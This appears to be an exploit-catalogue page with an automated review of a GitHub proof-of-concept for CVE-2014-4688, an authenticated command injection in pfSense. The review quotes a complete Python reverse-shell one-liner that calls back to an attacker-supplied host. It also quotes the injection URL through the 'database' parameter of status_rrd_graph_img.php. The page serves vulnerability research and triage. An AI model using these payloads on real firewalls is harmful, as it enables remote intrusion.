jaydenblair/CVE-2014-4688-pfsense

GitHubRepository PoCExploit

PoC files

2 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

GitHub
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

Python script that authenticates to pfSense, injects a command via the database parameter in status_rrd_graph_img.php, and delivers a reverse shell.

Backdoor review

No backdoor observed in reviewed code

The repository contains a Python 3 PoC exploit for CVE-2014-4688 and a README. The exploit authenticates to a pfSense target, injects a reverse shell command via the database parameter, and waits for a connection. No concealed backdoor, unrelated payload, or operator-directed harm is present. The code performs only the advertised exploit behavior.

ClassificationExploit
Model confidence100%
AuthenticationRequired
Languagespython
Target softwarepfSense
Attack typescommand injectionreverse shell
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The script actively exploits CVE-2014-4688 by authenticating to the target, injecting a command, and establishing a reverse shell. It is not a scanner or writeup; it is functional exploit code.

cve-2014-4688.py:1-115README.md:1-46

Requirements

  • Valid pfSense credentials (username and password)cve-2014-4688.py:31-32
  • Network listener to receive reverse shellcve-2014-4688.py:23-24

Observed behavior

  • Authenticates to pfSense web interface using provided credentials and CSRF tokencve-2014-4688.py:84-102
  • Constructs a reverse shell payload and encodes it in octalcve-2014-4688.py:43-58
  • Sends a GET request to status_rrd_graph_img.php with the database parameter containing the injected commandcve-2014-4688.py:61cve-2014-4688.py:111
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Reverse Shell Payload
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("%s",%s)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'The payload connects back to the attacker-supplied lhost:lport and spawns an interactive shell. This is the expected behavior for a command injection PoC targeting the stated CVE.cve-2014-4688.py:43-51
Command Injection Vector
https://<rhost>/status_rrd_graph_img.php?database=queues;printf+ '<octal_payload>'|shThe exploit constructs a URL that injects a shell command through the database parameter, consistent with the CVE description.cve-2014-4688.py:61
Authentication Mechanism
CSRF token extraction and login POST to /index.phpThe script authenticates using supplied credentials and a CSRF token, which is required for the authenticated command injection described in CVE-2014-4688.cve-2014-4688.py:84-102
Review boundaries

What the analysis did not establish

  • Only the two text files (README.md and cve-2014-4688.py) were reviewed; no other files exist in the repository snapshot.
  • The review does not execute the code and cannot verify runtime behavior or hidden dependencies.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

1